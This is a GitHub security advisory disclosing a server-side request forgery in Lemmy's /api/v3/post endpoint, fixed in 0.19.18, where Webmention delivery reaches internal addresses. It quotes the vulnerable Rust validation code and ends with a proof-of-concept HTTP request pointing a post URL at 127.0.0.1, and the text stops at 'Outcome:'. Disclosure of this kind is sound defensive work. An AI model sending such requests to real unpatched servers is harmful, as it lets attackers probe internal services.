GitHub Security Advisory: GHSA-3jvj-v6w2-h948
Package: lemmy_api_common (RUST)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 0.19.18
Patched in: 0.19.18

Summary: Lemmy has SSRF in /api/v3/post via Webmention dispatch

Details:
### Summary
Lemmy allows an authenticated low-privileged user to create a link post through `POST /api/v3/post`. When a post is created in a public community, the backend asynchronously sends a Webmention to the attacker-controlled link target.

The submitted URL is checked for syntax and scheme, but the audited code path does not reject loopback, private, or link-local destinations before the Webmention request is issued. This lets a normal user trigger server-side HTTP requests toward internal services.

### Details
The entry point is the normal post creation API. The user-controlled `url` field is accepted, normalized with `diesel_url_create()`, and only validated with `is_valid_url()`. That validation allows `http` and `https` but does not implement internal address rejection.

The post creation flow then schedules Webmention delivery for public communities. This creates a direct source-to-sink path from an externally supplied post URL to a server-side outbound HTTP request.

Core vulnerable code path:

```rust
// crates/api_crud/src/post/create.rs
let url = diesel_url_create(data.url.as_deref())?;
if let Some(url) = &url {
  is_url_blocked(url, &url_blocklist)?;
  is_valid_url(url)?;
}
```

```rust
// crates/utils/src/utils/validation.rs
pub fn is_valid_url(url: &Url) -> LemmyResult<()> {
  let is_valid = ["http", "https", "magnet"].contains(&url.scheme());
  if !is_valid {
    Err(LemmyErrorType::InvalidUrl)?
  }
  Ok(())
}
```

```rust
// crates/api_crud/src/post/create.rs
if community.visibility == CommunityVisibility::Public {
  let post = inserted_post.clone();
  let url = url.clone();
  spawn_try_task(async move {
    if let Some(url) = url {
      Webmention::new(post.ap_id.clone().into(), url.into()).send().await?;
    }
    Ok(())
  });
}
```

These snippets matter because they show that the attacker controls `CreatePost.url`, the only validation is scheme-level, and the resulting URL is later used for server-side Webmention delivery.

### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._Prerequisites:

- The attacker has a valid low-privileged account.
- The attacker can post to a public community.

Practical reproduction flow:

1. Run an HTTP listener on an internal or loopback-reachable address from the Lemmy server's perspective, such as `127.0.0.1:8081`.
2. Authenticate as a normal user.
3. Submit a post to a public community with `url` set to the internal target.
4. Observe the Lemmy API return a normal post creation response.
5. Observe the internal HTTP listener receive a request from the Lemmy server shortly afterwards.

Complete PoC:

```http
POST /api/v3/post HTTP/1.1
Host: victim.example
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json

{
  "name": "wm-ssrf",
  "community_id": 1,
  "url": "http://127.0.0.1:8081/",
  "body": null,
  "alt_text": null,
  "honeypot": null,
  "nsfw": false,
  "language_id": null,
  "custom_thumbnail": null
}
```

Outcome: